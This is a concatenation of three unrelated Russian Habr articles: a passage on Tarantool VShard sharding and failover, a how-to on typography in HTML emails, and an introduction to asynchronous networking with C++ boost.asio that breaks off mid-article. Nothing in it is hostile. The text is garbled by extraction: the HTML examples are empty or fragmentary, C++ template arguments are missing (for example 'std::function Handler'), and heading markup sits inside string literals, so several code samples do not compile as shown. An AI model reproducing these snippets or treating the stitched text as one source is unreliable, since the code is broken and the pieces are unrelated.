Для решения трёх описанных проблем мы создали [Tarantool VShard](https://github.com/tarantool/vshard). Его ключевое отличие в том, что уровень хранения данных виртуализирован: появились виртуальные хранилища поверх физических, и по ним распределяются записи. Эти хранилища называются bucket’ами. Пользователю не нужно думать о том, что и на каком физическом узле лежит. Bucket — это атомарная неделимая единица данных, как в классическом шардинге один кортеж. VShard всегда хранит bucket’ы целиком на одном физическом узле и во время решардинга переносит все данные одного bucket’а атомарно. За счет этого обеспечивается локальность. Нам надо просто положить данные в один bucket, и мы можем всегда быть уверены, что эти данные будут вместе при любых изменениях кластера.
Каким образом можно положить данные в один bucket? В схеме, которую мы раньше ввели для клиента банка, добавим в таблицы по новому полю `bucket id`. Если оно у связанных данных одинаковое, записи будут в одном bucket’е. Преимущество в том, что мы можем эти записи с одинаковым `bucket id` хранить в разных пространствах (space), и даже в разных движках. Локальность по `bucket id` обеспечивается вне зависимости от того, как эти записи хранятся.
```
format = {{'id', 'unsigned'},
{'email', 'string'},
{'bucket_id', 'unsigned'}}
box.schema.create_space('customer', {format = format})
format = {{'id', 'unsigned'},
{'customer_id', 'unsigned'},
{'balance', 'number'},
{'bucket_id', 'unsigned'}}
box.schema.create_space('account', {format = format})
```
Почему мы так к этому стремимся? Если у нас классический шардинг, то данные могут расползтись по всем физическим хранилищам, какие у нас только есть. В примере с банком придется при запросе всех счетов какого-то клиента обратиться ко всем узлам. Получится сложность чтения O(N), где N — это количество физических хранилищ. Ужасно медленно.
Благодаря bucket’ам и локальности по `bucket id` мы всегда можем прочитать данные с одного узла за один запрос, независимо от размера кластера.
Вычислять `bucket id` и присваивать одинаковые значения нужно самостоятельно. Для кого-то это преимущество, для кого-то недостаток. Я считаю преимуществом, что вы можете сами выбирать функцию для вычисления `bucket id`.
В чём ключевое отличие классического шардинга от виртуального с bucket’ами?
В первом случае, когда мы меняем состав кластера у нас появляется два состояния: текущее (старое) и новое, в которое надо перейти. В процессе перехода нужно не только перенести данные, но и пересчитать хеш-функции для всех записей. Это очень неудобно, потому что в любой момент времени мы не знаем, какие данные уже перенеслись, а какие нет. Кроме того, это не надежно и не атомарно, так как для атомарного переноса набора записей с одинаковым значением хеш-функции нужно персистентно хранить состояние переноса на случай необходимости восстановления. Возникают конфликты, ошибки, приходится многократно перезапускать процедуру.
Виртуальный шардинг гораздо проще. У нас нет двух выделенных состояний кластера, есть лишь состояние bucket’а. Кластер становится более маневренным, он постепенно переходит из одного состояния в другое. И состояний теперь больше двух. Благодаря плавному переходу можно на лету менять балансировку, удалять только что добавленные хранилища. То есть сильно повышается управляемость балансировки, она становится гранулярной.
Использование
=============
Допустим, мы выбрали функцию для `bucket id` и залили в кластер столько данных, что места перестало хватать. Теперь мы хотим добавить узлы, и чтобы данные на них сами переехали. В VShard это делается следующим образом. Сначала запускаем новые узлы и Tarantool-ы на них, а затем обновляем конфигурацию VShard. В ней описаны все участники кластера, все реплики, replica set’ы, мастеры, присвоенные URI и многое другое. Добавляем новые узлы в конфигурацию, и с помощью функции `VShard.storage.cfg` применяем её на всех узлах кластера.
```
function create_user(email)
local customer_id = next_id()
local bucket_id = crc32(customer_id)
box.space.customer:insert(customer_id, email, bucket_id)
end
function add_account(customer_id)
local id = next_id()
local bucket_id = crc32(customer_id)
box.space.account:insert(id, customer_id, 0, bucket_id)
end
```
Как вы помните, при классическом шардинге с изменением количества узлов меняется и шард-функция. В VShard этого не происходит, у нас фиксированное количество виртуальных хранилищ — bucket’ов. Это константа, которую вы выбираете при запуске кластера. Может показаться, что из-за этого масштабируемость ограничена, но на самом деле нет. Вы можете выбрать колоссальное количество bucket’ов, десятки и сотни тысяч. Главное, чтобы их было хотя на два порядка больше, чем максимальное количество replica set-ов, которое у вас когда-либо будет в кластере.
Поскольку количество виртуальных хранилищ не меняется, — а шард-функция зависит только от этого значения, — то физических хранилищ мы можем добавлять сколько угодно без пересчёта шард-функции.
Каким образом bucket’ы самостоятельно распределяются по физическим хранилищам? При вызове VShard.storage.cfg на одном из узлов просыпается процесс ребалансировщик. Это аналитический процесс, который вычисляет идеальный баланс в кластере. Он ходит на все физические узлы, спрашивает, у кого сколько bucket’ов, и строит маршруты их перемещения, чтобы усреднить распределение. Ребалансировщик отправляет маршруты переполненным хранилищам, и те начинают отправлять bucket’ы. Через какое-то время кластер становится сбалансирован.
Но в реальных проектах понятие идеального баланса может быть иным. К примеру, я хочу на одном replica set хранить меньше данных, чем на другом, потому что там меньше объём жёстких дисков. VShard думает, что всё хорошо сбалансировал, а у меня на самом деле хранилище вот-вот переполнится. Мы предусмотрели механизм корректировки правил балансировки с помощью весов. Каждому replica set и хранилищу можно задать вес. Когда балансировщик принимает решение о том, кому сколько bucket’ов отправить, он учитывает **отношения** всех пар весов.
К примеру, у одного хранилища вес 100, а у другого 200. Тогда первое будет хранить в два раза меньше bucket’ов, чем второе. Обратите внимание, что я говорю именно об **отношении** весов. Абсолютные значения не имеют никакого влияния. Вы можете выбрать веса исходя из 100 % распределения по кластеру: у одного хранилища 30 %, у другого 70 %. Можете взять за основу ёмкость хранилищ в гигабайтах, а можете измерять веса в количестве bucket’ов. Главное, соблюсти нужное вам отношение.
У такой системы есть интересный побочный эффект: если какому-нибудь хранилищу присвоить нулевой вес, то балансировщик прикажет хранилищу раздать все свои bucket’ы. После этого можно удалить из конфигурации весь replica set.
Атомарный перенос bucket’а
==========================
У нас есть bucket, он принимает какие-то запросы на чтение и запись, и тут балансировщик просит перенести его в другое хранилище. Bucket перестает принимать запросы на запись, иначе его успеют обновить в ходе переноса, потом успеют обновить переносимый апдейт, затем переносимый апдейт апдейта, и так до бесконечности. Поэтому запись блокируется, а читать из bucket’а еще можно. Начинается перенос чанков на новое место. После завершения переноса bucket снова начнет принимать запросы. На старом месте он тоже еще лежит, но уже помечен как мусорный и впоследствии сборщик мусора его удалит чанк за чанком.
С каждым bucket’ом ассоциированы метаданные, которые физически хранятся на диске. Все вышеописанные шаги сохраняются на диске, и что бы ни произошло с хранилищем, состояние bucket’а будет автоматически восстановлено.
У вас могли возникнуть вопросы:
* **Что будет с теми запросами, которые работали с bucket’ом, когда его начали переносить?**
В метаданных каждого bucket’а есть два типа ссылок: на чтение и на запись. Когда пользователь делает запрос к bucket’у, то указывает, как будет с ним работать, read only или read write. Для каждого запроса увеличивается соответствующий счетчик ссылок.
Для чего нужен счетчик ссылок на читающие запросы? Допустим, bucket спокойно переносится, и тут приходит сборщик мусора и хочет этот bucket удалить. Он видит, что счетчик ссылок больше нуля, поэтому удалять нельзя. А когда запросы будут обработаны, сборщик мусора сможет завершить свою работу.
Счетчик ссылок на пишущие запросы гарантирует, что bucket даже не начнет переноситься, пока с ним работает хотя бы один пишущий запрос. Но ведь пишущие запросы могут приходить постоянно, и тогда bucket не перенесется никогда. Дело в том, что если балансировщик изъявил желание перенести его, то новые запросы на запись начнут блокироваться, а завершения текущих система будет ожидать в течение какого-то таймаута. Если в отведённое время запросы не завершатся, система снова начнёт принимать новые запросы на запись, отложив перенос bucket’а на какое-то время. Таким образом балансировщик будет совершать попытки переноса, пока одна не увенчается успехом.
У VShard есть низкоуровневый API bucket\_ref на тот случай, если вам мало возможностей высокоуровневого. Если очень хочется что-то сделать самостоятельно, достаточно обратиться к этому API из кода.
* **Можно ли совсем не блокировать записи?**
Нельзя. Если bucket содержит критические данные, к которым нужен постоянный доступ на запись, то придётся вообще заблокировать его перенос. Для этого есть функция `bucket_pin`, она жёстко прикрепляет bucket к текущему replica set’у, не допуская его переноса. При этом соседние bucket’ы смогут перемещаться без ограничений.
Есть средство ещё более сильное, чем `bucket_pin` — блокировка replica set’а. Она делается уже не в коде, а через конфигурацию. Блокировка запрещает перемещение любых bucket’ов из этого replica set’а и прием новых. Соответственно, все данные будут постоянно доступны для записи.
VShard.router
=============
VShard состоит из двух подмодулей: VShard.storage и VShard.router. Их можно независимо создавать и масштабировать даже на одном инстансе. При обращении к кластеру мы не знаем, где какой bucket лежит, и за нас его по `bucket id` будет искать VShard.router.
Посмотрим на примере, как это выглядит. Возвращаемся к банковскому кластеру и клиентским счетам. Я хочу иметь возможность вытащить из кластера все счета конкретного клиента. Для этого пишу обычную функцию для локального поиска:
Она ищет все счета клиента по его id. Теперь мне нужно решить, на каком из хранилищ вызвать эту функцию. Для этого от идентификатора клиента в моем запросе вычисляю `bucket id` и прошу VShard.router вызвать мне такую-то функцию в том хранилище, где живет bucket с получившимся `bucket id`. В подмодуле есть таблица маршрутизации, в которой прописано расположение bucket’ов в replica set’ах. И VShard.router проксирует мой запрос.
Конечно, может случиться так, что в это время начался решардинг и bucket’ы стали переезжать. Роутер в фоновом режиме постепенно обновляет таблицу большими кусками: запрашивает у хранилищ их актуальные таблицы bucket’ов.
Может случиться даже так, что мы обращаемся к bucket’у, который только что переехал, и роутер еще не успел обновить свою таблицу маршрутизации. Тогда он обратится к старому хранилищу, а оно либо подскажет роутеру, где искать bucket, либо просто ответит, что нужных данных у него нет. Тогда роутер обойдет все хранилища в поиске нужного bucket’а. И всё это прозрачно для нас, мы даже не заметим промаха в таблице маршрутизации.
Нестабильность чтения
=====================
Вспомним, какие изначально у нас были проблемы:
* Не было локальности данных. Решили с помощью добавления bucket’ов.
* Решардинг всё замедлял и сам тормозил. Реализовали атомарный перенос данных bucket’ами, избавились от пересчитывания шард-функции.
* Нестабильное чтение.
Последняя проблема решается VShard.router’ом при помощи подсистемы автоматического read failover.
Роутер периодически пингует хранилища, указанные в конфигурации. И вот какое-то из них перестало пинговаться. У роутера есть горячее резервное подключение к каждой реплике, и если текущая перестала отвечать, он пойдет к другой. Запрос на чтение будет обработан штатно, потому что на репликах мы читать можем (но не писать). Можем задавать приоритет реплик, по которому роутер должен выбирать failover для чтений. Делаем мы это при помощи зонирования.
Каждой реплике и каждому роутеру присваиваем номер зоны и задаем таблицу, в которой указываем расстояние между каждой парой зон. Когда роутер принимает решение, куда отправить запрос на чтение, он выберет реплику в той зоне, которая ближе всего к его собственной.
Как это выглядит в конфигурации:
В общем случае можно обращаться и к произвольной реплике, но если кластер большой и сложный, очень сильно распределенный, тогда зонирование сильно пригодится. Зонами могут быть разные серверные стойки, чтобы не загружать сеть трафиком. Или это могут быть географически удаленные друг от друга точки.
Также зонирование помогает при разной производительности реплик. К примеру, у нас в каждом replica set’е есть одна бэкап-реплика, которая должна не принимать запросы, а только хранить копию данных. Тогда мы делаем её в зоне, которая будет очень далеко от всех роутеров в таблице, и они станут обращаться к ней в самом крайнем случае.
Нестабильность записи
=====================
Раз уж мы заговорили про read failover, то что насчёт write failover при смене мастера? Здесь у VShard не всё так радужно: выборы нового мастера в нём не реализованы, придется делать это самостоятельно. Когда мы его каким-то образом выбрали, нужно, чтобы этот инстанс теперь взял на себя полномочия мастера. Обновляем конфигурацию, указав для старого мастера `master = false`, а для нового — `master = true`, применим через VShard.storage.cfg и раскатаем на хранилища. Дальше всё происходит автоматически. Старый мастер перестает принимать запросы на запись и начинает синхронизацию с новым, потому что могут быть данные, которые уже применились на старом мастере, а на новый ещё не доехали. После этого новый мастер вступает в роль и начинает принимать запросы, а старый мастер становится репликой. Так работает write failover в VShard.
```
replicas = new_cfg.sharding[uud].replicas
replicas[old_master_uuid].master = false
replicas[new_master_uuid].master = true
vshard.storage.cfg(new_cfg)
```
Как теперь следить за всем эти многообразием событий?
=====================================================
В общем случае хватит двух ручек — `VShard.storage.info` и `VShard.router.info`.
VShard.storage.info показывает информацию в нескольких секциях.
```
vshard.storage.info()
---
- replicasets:
:
uuid:
master:
uri: [email protected]:3303
:
uuid:
master: missing
bucket:
receiving: 0
active: 0
total: 0
garbage: 0
pinned: 0
sending: 0
status: 2
replication:
status: slave
Alerts:
- ['MISSING\_MASTER', 'Master is not configured for ''replicaset ']
```
Первая — это секция репликации. Здесь отображается состояние replica set’а, к которому вы применили эту функцию: какой у него репликационный лаг, с кем у него есть соединения и с кем нет, кто доступен и не доступен, на кого какой мастер сконфигурирован, и т.д.
В секции Bucket можно в реальном времени посмотреть, сколько bucket’ов сейчас перемещается на текущий replica set, сколько с него уезжает, сколько на нем сейчас работает в штатном режиме, сколько помечено как мусор, сколько прикреплено.
Секция Alert — это такая сборная солянка всех проблем, которые VShard смог самостоятельно определить: не сконфигурирован мастер, недостаточный уровень redundancy, мастер есть, а все реплики отказали, и т.д.
И последняя секция — это лампочка, которая загорается красным, когда всё становится очень плохо. Представляет собой число от нуля до трех, чем больше, тем хуже.
В VShard.router.info такие же секции, но означают они немного другое.
```
vshard.router.info()
---
- replicasets:
:
replica: &0
status: available
uri: [email protected]:3303
uuid: 1e02ae8a-afc0-4e91-ba34-843a356b8ed7
bucket:
available\_rw: 500
uuid:
master: \*0
:
replica: &1
status: available
uri: [email protected]:3301
uuid: 8a274925-a26d-47fc-9e1b-af88ce939412
bucket:
available\_rw: 400
uuid:
master: \*1
bucket:
unreachable: 0
available\_ro: 800
unknown: 200
available\_rw: 700
status: 1
alerts:
- ['UNKNOWN\_BUCKETS', '200 buckets are not discovered']
```
Первая секция — это репликация. Но только здесь не репликационные лаги, а информация о доступности: какие подключения у роутера, каким replica set’ом они держатся, какое подключение горячее и какое резервное на случай отказа мастера, кто выбран мастером, на каком replica set’е сколько bucket’ов доступно на чтение и запись, сколько доступно только на чтение.
В секции Bucket отображается общее количество bucket’ов, которые на этом роутере доступны сейчас на чтение и запись или только на чтение; про расположение скольких bucket’ов роутер не знает; или знает, но не имеет подключения к нужному replica set’у.
В секции Alert, в основном, рассказывается про подключения, про срабатывания failover, про неопознанные bucket’ы.
Наконец, здесь тоже есть простейший индикатор от нуля до трех.
Что нужно для использования VShard?
===================================
Первое — выбрать константное количество bucket’ов. Почему нельзя просто задать с помощью `int32_max`? Потому что с каждым bucket’ом хранятся метаданные — по 30 байтов в хранилище и по 16 байтов на роутере. Чем больше у вас bucket’ов, тем больше места занимают метаданные. Но в то же время у вас будет меньше размер bucket’а, а значит выше гранулярность кластера и скорость переноса одного bucket’а. Так что придётся выбрать, что вам важнее и какой запас масштабируемости вы хотите заложить.
Второе — нужно выбрать шард-функцию для вычисления `bucket id`. Здесь правила такие же, как при выборе шард-функции для классических шардингов, потому что bucket — это как если бы мы в классическом шардинге фиксировали количество хранилищ. Функция должна равномерно распределять выходные значения, иначе размеры bucket’ов будут расти неравномерно, а VShard оперирует только количеством bucket’ов. И если вы не сбалансируете свою шард-функцию, то данные придётся перекладывать из bucket’а в bucket, менять шард-функцию. Поэтому выбирать надо аккуратно.
Резюме
======
Vshard обеспечивает:
* локальность данных;
* атомарный решардинг;
* более высокую маневренность кластера;
* автоматический read failover;
* множество ручек управления bucket’ами.
VShard сейчас активно развивается. Реализация каких-то запланированных задач уже началась. Первое — это **балансировка нагрузки на роутер**. Бывают тяжёлые запросы на чтение, и грузить ими мастер не всегда целесообразно. Пусть бы роутер мог самостоятельно балансировать запросы на разные читающие реплики.
Второе — **lock-free перенос bucket’ов**. Уже реализован алгоритм, при помощи которого можно не блокировать bucket’ы на запись даже на время переноса. Это придется сделать только в конце, чтобы зафиксировать сам факт переноса.
Третье — **атомарное применение конфигурации**. Самостоятельно применять конфигурацию ко всем хранилищам неудобно и не атомарно: какое-то хранилище может быть недоступно, конфигурация не применилась, и что тогда делать? Поэтому мы работаем над механизмом автоматического распространения конфигурации.
[Оригинал моего доклада](https://slides.com/gerold103/vshard-highload)
|
https://habr.com/ru/post/436916/
| null |
ru
| null |
# How-to: Типографика в дизайне email-писем
[](http://habrahabr.ru/company/pechkin/blog/259909/)
Исследования [показывают](https://litmus.com/blog/gmail-data-analysis-reveals-image-blocking-affects-43-of-emails), что в почтовых программах до 43% email-подписчиков отключено отображение картинок. Это означает, что донести до них нужную информацию с помощью [email-рассылки](https://pechkin-mail.ru/?utm_source=habr&utm_medium=referral&utm_campaign=typo) можно только если использовать реальный текст в HTML-версиях писем.
При этом, данный факт вовсе не означает, что можно использовать только Arial и Times New Roman. В сегодняшнем материале мы рассмотрим существующие возможности по работе с шрифтами в email.
#### Основы типографики
Одна из главных задач при верстке почтовых рассылок заключается в том, чтобы убедиться, что почтовые клиенты и движки рендеринга не делают с письмами ничего странного. Когда дело касается текста, то решить большую часть возможных проблем можно с помощью добавления пары стилей. Например, при использовании подхода ````
можно применять их на уровне ячейки в таблице:
Здесь какой-то текст. |
```
К ячейкам можно применять CSS-стили, описывающие цвет текста (color), используемый шрифт (font-family), его вес (font-weight) и высоту строки (line-height).
```
Some copy goes here. |
```
Если объявить эти стили, то текст будет адекватно рендериться даже в самых «враждебных» почтовых клиентах. Если хранить каждую часть контента в своей ячейке, то эти компоненты можно стилизовать без необходимости заботиться о проблемах наследования. Если, например, нужно поработать с конкретным участком текста в большом блоке, то этот нужный текст можно завернуть в ````
и использовать инлайн-стили:
Здесь какой-то текст. Привлекаем внимание к контенту с помощью стилей шрифта |
```
В примерах выше мы использовали Arial (да-да), но ничто не мешает пойти дальше. Давайте посмотрим, как это можно сделать.
#### Использование веб-шрифтов
Данный метод хорошо [описал](https://litmus.com/blog/tag/paul-airy) дизайнер Пол Эйри (Paulr Airy). Его суть заключается в использовании веб-шрифтов, которые не установлены на устройстве пользователя. Делается это с помощью их включения в CSS. В вебе этот метод давно и успешно применяется, но среди email-дизайнеров только набирает популярность.
Существует несколько способов включения веб-шрифтов, но Пол рекомендует использовать внешний файл со стилями, который используется для «вытягивания» шрифтов с сайтов вроде Google Web Fonts.
```
```
Затем в инлайн-стилях можно добавить нужный шрифт в декларацию `font-family`:
```
Здесь какой-то текст. |
```
Теперь в почтовых клиентах, которые поддерживают веб-шрифты, текст будет отображаться с помощью выбранного заранее шрифта. В противном случае, будут использоваться перечисленные альтернативные шрифты — у нас это Helvetica, Arial или установленный шрифт без засечек.
| |
| --- |
| **Поддержка веб-шрифтов в почтовых клиентах через ссылку на внешний файл стилей** |
| Apple Mail 6 | check-green |
| Lotus Notes 8 | check-green |
| Outlook 2000 | check-green |
| Outlook 2011 on Mac | check-green |
| Thunderbird | check-green |
| iPad | check-green |
| iPhone | check-green |
| Android 2.3 | check-green |
| Android 4.2 | check-green |
К сожалению, Outlook не станет отображать наши альтернативные шрифты (кто бы сомневался, конечно). Вместо этого, он проигнорирует все относящиеся к ним стили и отобразит текст с помощью Times New Roman. Но и с этим можно справиться с помощью специального CSS-класса — он будет выделять нужный текст через [условные комментарии](https://ru.wikipedia.org/wiki/%D0%A3%D1%81%D0%BB%D0%BE%D0%B2%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D0%BC%D0%BC%D0%B5%D0%BD%D1%82%D0%B0%D1%80%D0%B8%D0%B9) передавать Outlook информацию об используемом наборе шрифтов.
```
Здест какой-то текст. |
```
Теперь вместо Times New Roman по-умолчанию письма будут отображаться с помощью Arial или другого установленного шрифта без засечек.
#### Многоколоночный вид без табличных ячеек
Пол также говорит о нежелательности использования для размещения текста несколько колонок-столбцов. Однако поскольку большинство писем верстают в [табличном формате](http://habrahabr.ru/company/pechkin/blog/255819/), в котором всегда есть столбцы, то напрашивается простое использование соседних ячеек для отображения текста. Но что, если нам нужно добиться «перетекания» текста из одного столбца в другой, вместо «хардкодинга» контента в конкретные ячейки?
Здесь на помощь приходит CSS-свойство column-count. Но важно помнить: с этого момента мы вступаем на дикие земли, в которых редко можно встретить приложение, поддерживающее column-count.
С помощью этого свойства можно задать число столбцов, на между которыми будет разбиваться текст. Вот как выглядит код:
```
Здесь какой-то текст. |
```
Теперь вне зависимости от объёма текста, он будет естественным образом разбит между двумя столбцами. В том случае, если почтовая программа, в которой открывается письмо, не поддерживает column-count, сообщение отобразится в одноколоночном виде.
Как сказано выше, с поддержкой как раз все не очень хорошо:
| |
| --- |
| **Поддержка почтовыми клиентами многоколоночности через column-count** |
| Apple Mail 6 | check-green |
| Outlook 2011 on Mac | check-green |
| AOL Mail (Explorer) | check-green |
| AOL Mail (Chrome) | check-green |
| iPad | check-green |
| iPhone | check-green |
| Android 2.3 | check-green |
| Android 4.2 | check-green |
Иногда с помощью различных лайфхаков (например, применение стилей к тегу параграфа) удается заставить отображать письма с column-count и некоторые другие клиенты. В частности, в ходе тестов Полу удалось добиться этого, например, в Outlook.com в Firefox.
##### Читайте также другие материалы от «Печкина»:
* [How-to: Правила вёрстки email-писем](http://habrahabr.ru/company/pechkin/blog/255819/)
* [Как использовать прогрессивное улучшение для вёрстки писем](http://habrahabr.ru/company/pechkin/blog/257915/)
* [Использование media queries в вёрстке email-писем: за и против](http://habrahabr.ru/company/pechkin/blog/258313/)
* [Дизайн простоты: Как делать эффективные plain-text письма](http://habrahabr.ru/company/pechkin/blog/259333/)``
|
https://habr.com/ru/post/259909/
| null |
ru
| null |
# Асинхронность: назад в будущее
Асинхронность… Услышав это слово, у программистов начинают блестеть глаза, дыхание становится поверхностным, руки начинают трястись, голос — заикаться, мозг начинает рисовать многочисленные уровни абстракции… У менеджеров округляются глаза, звуки становятся нечленораздельными, руки сжимаются в кулаки, а голос переходит на обертона… Единственное, что их объединяет — это учащенный пульс. Только причины этого различны: программисты рвутся в бой, а менеджеры пытаются заглянуть в хрустальный шар и осознать риски, начинают судорожно придумывать причины увеличения сроков в разы… И уже потом, когда большая часть кода написана, программисты начинают осознавать и познавать всю горечь асинхронности, проводя бесконечные ночи в дебаггере, отчаянно пытаясь понять, что же все-таки происходит…
Именно такую картину рисует мое воспаленное воображение при слове “асинхронность”. Конечно, все это слишком эмоционально и не всегда правда. Ведь так?.. Возможны варианты. Некоторые скажут, что “при правильном подходе все будет работать хорошо”. Однако это можно сказать всегда и везде при всяком удобном и не удобном случае. Но лучше от этого не становится, баги не исправляются, а бессонница не проходит.
Так что же такое асинхронность? Почему она так привлекательна? А главное: что с ней не так?
### Введение
Асинхронность на текущий момент является достаточно популярной темой. Достаточно просмотреть последние статьи на хабре, чтобы в этом убедиться. Тут тебе и обзор различных библиотек, и использования языка Go, и всякие асинхронные фреймворки на JS, и много чего другого.
Обычно асинхронность используется для сетевого программирования: всякие сокеты-шмокеты, читатели-писатели и прочие акцепторы. Но бывают еще забавные и интересные события, особенно в UI. Здесь я буду рассматривать исключительно сетевое использование. Однако, как будет показано в следующей статье, подход можно расширять и углублять в неведомые дали.
Чтобы быть совсем уж конкретным, будем писать простой HTTP сервер, который на некий любой запрос посылает некий стандартный ответ. Это чтоб не писать парсер, т.к. к теме асинхронности он имеет ровно такое же отношение, как положение звезд к характеру человека (см. астрологию).
### Синхронный однопоточный сервер
Хм. Синхронный? А при чем тут синхронный, спросит внимательный читатель, открыв статью про асинхронность. Ну, во-первых, надо же с чего-то начать. С чего-то простого. А во-вторых… Короче, я автор, поэтому будет так. А потом и сами узнаете, зачем.
Для того, чтобы не писать низкоуровневый платформозависимый код, для всех наших целей я буду использовать мощную асинхронную библиотеку под названием boost.asio. Благо, статей уже написано про нее достаточно, чтобы быть хотя бы немножко в теме.
Опять же, для большей наглядности и “продакшенности” кода я сделаю обертки для вызова соответствующих функций из библиотеки boost.asio. Конечно, кому-то могут нравиться портянки наподобие `boost::asio::ip::tcp::socket` или `boost::asio::ip::udp::resolver::iterator`, но ясность и читабельность кода при этом значительно уменьшается.
Итак, описание сокета и акцептора:
```
typedef std::string Buffer;
// forward declaration
struct Acceptor;
struct Socket
{
friend struct Acceptor;
Socket();
Socket(Socket&& s);
// чтение данных фиксированного размера
void read(Buffer&);
// чтение данных не больше, чем указанный размер буфера
void readSome(Buffer&);
// чтение данных вплоть до строки until
int readUntil(Buffer&, const Buffer& until);
// запись данных фиксированного размера
void write(const Buffer&);
// закрытие сокета
void close();
private:
boost::asio::ip::tcp::socket socket;
};
struct Acceptor
{
// слушать порт для принятия соединений
explicit Acceptor(int port);
// создание сокета на новое соединение
void accept(Socket& socket);
private:
boost::asio::ip::tcp::acceptor acceptor;
};
```
Ничего лишнего, просто сервер. `Socket` позволяет писать и читать, в том числе до определенных символов (`readUntil`). `Acceptor` слушает указанный порт и принимает соединения.
Реализация всего этого хозяйства приведена ниже:
```
boost::asio::io_service& service()
{
return single();
}
Socket::Socket() :
socket(service())
{
}
Socket::Socket(Socket&& s) :
socket(std::move(s.socket))
{
}
void Socket::read(Buffer& buffer)
{
boost::asio::read(socket, boost::asio::buffer(&buffer[0], buffer.size()));
}
void Socket::readSome(Buffer& buffer)
{
buffer.resize(socket.read\_some(boost::asio::buffer(&buffer[0], buffer.size())));
}
bool hasEnd(size\_t posEnd, const Buffer& b, const Buffer& end)
{
return posEnd >= end.size() &&
b.rfind(end, posEnd - end.size()) != std::string::npos;
}
int Socket::readUntil(Buffer& buffer, const Buffer& until)
{
size\_t offset = 0;
while (true)
{
size\_t bytes = socket.read\_some(boost::asio::buffer(&buffer[offset], buffer.size() - offset));
offset += bytes;
if (hasEnd(offset, buffer, until))
{
buffer.resize(offset);
return offset;
}
if (offset == buffer.size())
{
LOG("not enough size: " << buffer.size());
buffer.resize(buffer.size() \* 2);
}
}
}
void Socket::write(const Buffer& buffer)
{
boost::asio::write(socket, boost::asio::buffer(&buffer[0], buffer.size()));
}
void Socket::close()
{
socket.close();
}
Acceptor::Acceptor(int port) :
acceptor(service(), boost::asio::ip::tcp::endpoint(boost::asio::ip::tcp::v4(), port))
{
}
void Acceptor::accept(Socket& socket)
{
acceptor.accept(socket.socket);
}
```
Здесь я использовал синглтон для `io_service`, чтобы не передавать его каждый раз в сокет явно во входных параметрах. И откуда пользователю знать, что там должен быть какой-то `io_service`? Поэтому я его спрятал подальше, чтобы глаза не мозолил. Остальное, я полагаю, вполне понятно, за исключением, быть может, функции `readUntil`. Но суть ее проста: читать байтики до тех пор, пока не встретится заветное окончание. Это нужно как раз для HTTP, т.к. заранее размер мы, увы, не можем задать. Приходится ресайзиться.
Давайте теперь напишем долгожданный сервер. Вот он:
```
#define HTTP_DELIM "\r\n"
#define HTTP_DELIM_BODY HTTP_DELIM HTTP_DELIM
// наш ответ
Buffer httpContent(const Buffer& body)
{
std::ostringstream o;
o << "HTTP/1.1 200 Ok" HTTP_DELIM
"Content-Type: text/html" HTTP_DELIM
"Content-Length: " << body.size() << HTTP_DELIM_BODY
<< body;
return o.str();
}
// слушаем 8800 порт (вдруг 80 занят?)
Acceptor acceptor(8800);
LOG("accepting");
while (true)
{
Socket socket;
acceptor.accept(socket);
try
{
LOG("accepted");
Buffer buffer(4000, 0);
socket.readUntil(buffer, HTTP_DELIM_BODY);
socket.write(httpContent("Hello sync singlethread!
========================
"));
socket.close();
}
catch (std::exception& e)
{
LOG("error: " << e.what());
}
}
```
Сервер готов!
### Синхронный многопоточный сервер
Недостатки предыдущего сервера очевидны:
1. Невозможно обрабатывать несколько соединений одновременно.
2. Клиент может переиспользовать соединение для более эффективного взаимодействия, а мы его всегда закрываем.
Поэтому появляется идея, чтобы обрабатывать соединения в другом потоке, продолжая принимать следующие соединения. Для этого нам понадобится функция создания нового потока, которую я внезапно назову `go`:
```
typedef std::function Handler;
void go(Handler handler)
{
LOG("sync::go");
std::thread([handler] {
try
{
LOG("new thread had been created");
handler();
LOG("thread was ended successfully");
}
catch (std::exception& e)
{
LOG("thread was ended with error: " << e.what());
}
}).detach();
}
```
Стоит отметить одну забавную вещь: если убрать `detach()`, то угадайте, что сделает программа?
**Ответ:**Тупо завершится без каких-либо сообщений. Спасибо разработчикам стандарта, так держать!
Теперь можно и сервер написать:
```
Acceptor acceptor(8800);
LOG("accepting");
while (true)
{
Socket* toAccept = new Socket;
acceptor.accept(*toAccept);
LOG("accepted");
go([toAccept] {
try
{
Socket socket = std::move(*toAccept);
delete toAccept;
Buffer buffer;
while (true)
{
buffer.resize(4000);
socket.readUntil(buffer, HTTP_DELIM_BODY);
socket.write(httpContent("Hello sync multithread!
=======================
"));
}
}
catch (std::exception& e)
{
LOG("error: " << e.what());
}
});
}
```
Казалось бы, все хорошо, но не тут то было: на реальных задачах под нагрузкой это дело ложится быстро и потом не отжимается. Поэтому умные дядьки подумали, подумали, и решили использовать асинхронность.
### Асинхронный сервер
В чем проблема предыдущего подхода? А в том, что потоки вместо реальной работы большую часть времени ожидают на событиях из сети, отжирая ресурсы. Хочется как-то более эффективно использовать потоки для выполнения полезной работы.
Поэтому теперь буду реализовывать аналогичные функции, но уже асинхронно, используя модель проактора. Что это означает? Это означает, что мы для всех операций вызываем функцию и передаем callback, который автомагически позовется по окончании операции. Т.е. нас позовут сами, как только операция завершится. Это отличается от модели реактора, когда мы должны сами вызывать нужные обработчики, наблюдая за состоянием операций. Типичный пример реактора: epoll, kqueue и различные select’ы. Пример проактора: IOCP на Windows. Я буду использовать кроссплатформенный проактор boost.asio.
Асинхронные интерфейсы:
```
typedef boost::system::error_code Error;
typedef std::function IoHandler;
struct Acceptor;
struct Socket
{
friend struct Acceptor;
Socket();
Socket(Socket&&);
void read(Buffer&, IoHandler);
void readSome(Buffer&, IoHandler);
void readUntil(Buffer&, Buffer until, IoHandler);
void write(const Buffer&, IoHandler);
void close();
private:
boost::asio::ip::tcp::socket socket;
};
struct Acceptor
{
explicit Acceptor(int port);
void accept(Socket&, IoHandler);
private:
boost::asio::ip::tcp::acceptor acceptor;
};
```
Стоит остановиться на некоторых вещах:
1. Обработка ошибок теперь существенно отличается. В случае синхронного подхода у нас 2 варианта: возврат кода ошибки либо генерация исключения (именно этот способ и использовался в начале статьи). В случае асинхронного вызова способ существует ровно один: передача ошибки через обработчик. Т.е. даже не через результат, а как входной параметр обработчика. И хочешь, не хочешь — будь любезен обрабатывай ошибки как в старые добрые времена, когда исключений еще не было: на каждый чих по проверке. Но самое интересное, конечно, не это; интересное — это когда возникла ошибка в обработчике и ее надо обработать. Вспоминание контекста — излюбленная задача асинхронного программирования!
2. Для единообразного подхода я использовал `IoHandler`, что делает код более простым и универсальным.
